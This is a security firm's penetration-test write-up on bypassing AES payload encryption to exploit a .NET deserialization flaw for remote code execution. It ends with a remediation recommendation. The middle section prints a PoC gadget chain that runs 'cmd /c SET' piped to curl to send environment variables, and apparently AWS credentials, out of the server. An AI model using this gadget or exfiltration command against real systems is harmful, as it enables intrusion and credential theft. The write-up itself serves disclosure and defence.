CVE from 2018 Strikes Again

Recently Stratum Security tested an application that was found to be vulnerable to code execution via a deserialization flaw documented in a CVE from 2018. In an attempt to mitigate the code execution vulnerability, the developer attempted to encrypt the HTTP payload with AES encryption. In this post, we will show how we bypassed this protection and achieved code execution.

Application Background

After a user logs into the web application, they can click on a menu item that will launch a desktop application via a unique link sent to the user's browser. The desktop application allows the user to modify data within the remote server.

When the user launches the desktop application, it starts a login process using the user's web session and returns a base64 string with encrypted data containing the user's AES key and IV.

My PoC uses this base64 string with the desktop application session cookie as input to exploit the application.

Building the Exploit

First, I reviewed the desktop application's source code. The desktop application's network traffic couldn't be tampered with as it was encrypted and compressed.

I used ILSpy to review the source code of the application.

After a couple of days, I learned that the code used the base64 string from the desktop login to retrieve the user's AES key and IV to encrypt the serialized .NET objects.

Figure 1 - Desktop Login Response containing a base64 string with encrypted data

I created a PoC leveraging the desktop application's source code to build my own payload to send to the server.

Compiling and executing the PoC returned a response with a stack trace revealing the BinaryServerFormatterSink class being used:

Figure 2 - Compiled PoC and executed program to achieve RCE

In 2020 ModZero's research mentioned the class was vulnerable to deserialization.

Achieving Remote Code Execution

Listed below is an example payload in the PoC that was used to serialize a SortedSet object with a command to retrieve environment variables, AWS keys, and the AWS EC2 user data that contained plaintext credentials:

// Small snippet from PoC that generates the serialized object payload before encrypting
public static object GeneratePayload() {
    Comparison c = new Comparison(string.Compare);
    var c2 = Func.Combine(c, c);
    TypeConfuseDelegate(c2, new Func(Process.Start));
    Comparison c3 = (Comparison)c2;
    // Response returned is an embedded exception
    // Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'
    // Deserialization will still happen and command will execute regardless of the above exception
    // Exfil env vars
    SortedSet s = new SortedSet(new string[] { "cmd", "/c SET | curl -X POST --data-binary @-"});
    FieldInfo fi = typeof(SortedSet).GetField("comparer", BindingFlags.NonPublic | BindingFlags.Instance);
    fi.SetValue(s, Comparer.Create(c3));
    return s;

The following screenshots show the data that was retrieved using the PoC:

Figure 3 - Retrieved environment variables on Windows EC2 instance
Figure 4 - Retrieved AWS keys


Our recommended remediation for this vulnerability was to remove the current implementation that sends serialized .NET objects and replace it with a safer implementation using Microsoft's latest JSON library.